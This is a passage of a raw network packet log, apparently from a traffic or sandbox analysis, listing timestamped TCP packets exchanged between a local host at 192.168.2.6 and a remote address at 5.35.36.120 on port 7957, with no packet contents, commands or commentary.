Dec 19, 2024 09:29:54.907583952 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.907690048 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.907843113 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.908715010 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.908796072 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.909815073 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.909864902 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.909904957 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.909950018 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.910955906 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.911020041 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.912122011 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.912177086 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.912297964 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.912348986 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.913610935 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.913697004 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.914798975 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.914865017 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.914891958 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.914932013 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.915821075 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.915923119 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.916450977 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.916503906 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.916507006 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.916554928 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.917411089 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.917561054 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.917694092 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.918556929 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.918720961 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.918766022 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.919635057 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.919842005 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.919884920 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.920703888 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.920824051 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.920887947 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.921802044 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.921960115 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.922003031 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.922892094 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.923017979 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.923995972 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.924051046 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.924113035 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.924171925 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.925084114 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.925225973 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.925687075 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.926172018 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.926295042 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.927278996 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.927345037 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.927395105 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.927438974 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.928356886 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.928457975 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.929441929 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.929497004 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.929558039 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.929605961 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.930536985 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.930651903 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.930696011 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.931634903 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.931772947 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.932061911 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.932749987 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.932847977 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.932900906 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.933876991 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.933994055 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.934047937 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.934921980 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.935095072 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.936028957 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.936089993 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.936148882 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.936201096 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.937092066 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.937143087 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.937686920 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.938179016 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.938340902 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.939279079 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.939335108 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.939394951 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.939444065 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:54.940376997 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.940506935 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.941414118 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:54.941472054 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.076351881 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.076458931 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.076518059 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.076827049 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.076961040 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.077689886 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.077994108 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.078087091 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.079054117 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.079102039 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.079190016 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.079237938 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.080123901 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.080305099 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.081228971 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.081278086 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.081324100 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.081370115 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.082314014 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.082448959 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.082499027 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.083425045 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.083476067 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.084625006 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.084677935 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.084680080 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.084721088 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.085642099 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.085771084 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.086666107 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.086714983 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.086833954 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.086882114 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.087799072 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.087865114 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.088833094 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.088877916 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.088886023 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.088926077 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.089962959 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.090064049 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.090117931 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.091036081 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.091140032 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.092096090 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.092144966 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.092186928 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.092231989 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.093188047 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.093287945 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.093693018 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.094274044 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.094391108 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.095381021 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.095429897 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.095469952 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.095514059 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.096452951 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.096568108 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.097557068 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.097604036 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.097727060 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.098668098 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.098715067 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.098761082 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.098799944 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.099766970 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.099878073 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.100924969 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.100970030 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.101043940 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.101083040 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.101922035 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.102035999 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.102085114 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.103072882 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.103177071 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.104111910 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.104136944 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.104162931 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.104186058 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.105236053 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.105467081 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.105513096 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.106340885 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.106386900 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.106436968 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.107394934 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.107471943 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.107784986 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.108534098 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.108764887 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.109577894 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.109626055 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.109637022 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.109682083 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.110676050 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.110764027 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.111784935 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.111833096 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.111895084 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.111941099 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.112894058 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.113046885 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.113707066 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.113970995 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.114085913 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.114855051 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.115187883 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.115330935 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.116406918 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.116450071 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.116489887 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.116528034 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.117361069 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.117414951 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.117693901 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.118345976 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.118441105 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.119411945 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.119453907 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.119575024 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.119611979 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.120532036 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.120579004 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.120621920 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.121611118 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.121722937 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.122699976 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.122744083 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.122785091 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.122823954 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.123827934 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.123909950 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.124912977 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.124958038 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.125000954 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.125046015 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.125989914 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.126137018 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.126179934 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.127104044 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.127230883 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.128186941 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.128233910 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.128254890 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.128288984 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.129260063 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.129374027 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.129698992 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.130364895 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.130479097 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.131458044 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.131511927 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.131561995 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.131607056 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.132536888 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.132627010 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.133677006 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.133706093 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.177337885 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.268486977 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.268825054 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.268873930 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.269056082 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.269349098 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.269417048 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.270207882 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.270447016 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.270526886 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.271110058 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.271230936 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.271286011 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.272178888 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.272906065 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.273047924 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.273327112 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.273343086 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.273386955 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.274357080 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.274748087 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.274832010 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.275459051 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.275774002 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.275824070 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.276572943 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.276774883 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.276881933 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.277837992 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.277928114 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.277997017 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.278793097 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.279274940 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.279333115 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.279841900 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.280071020 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.280117035 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.280936003 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.281280041 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.281321049 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.282053947 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.282278061 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.282325983 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.283154964 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.283293009 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.283329964 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.284224033 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.284796000 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.284928083 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.285334110 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.285628080 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.285666943 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.286426067 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.286451101 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.286505938 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.287527084 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.287796021 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.287854910 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.288599014 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.288814068 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.288887978 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.289683104 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.290484905 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.290577888 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.290843964 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.290977955 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.291066885 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.291876078 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.291990995 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.292063951 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.292922020 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.293180943 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.293226004 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.294200897 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.294542074 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.294619083 CET	49792	7957	192.168.2.6	5.35.36.120
Dec 19, 2024 09:29:55.295146942 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.295372963 CET	7957	49792	5.35.36.120	192.168.2.6
Dec 19, 2024 09:29:55.295429945 CET	49792	7957	192.168.2.6	5.35.36.120
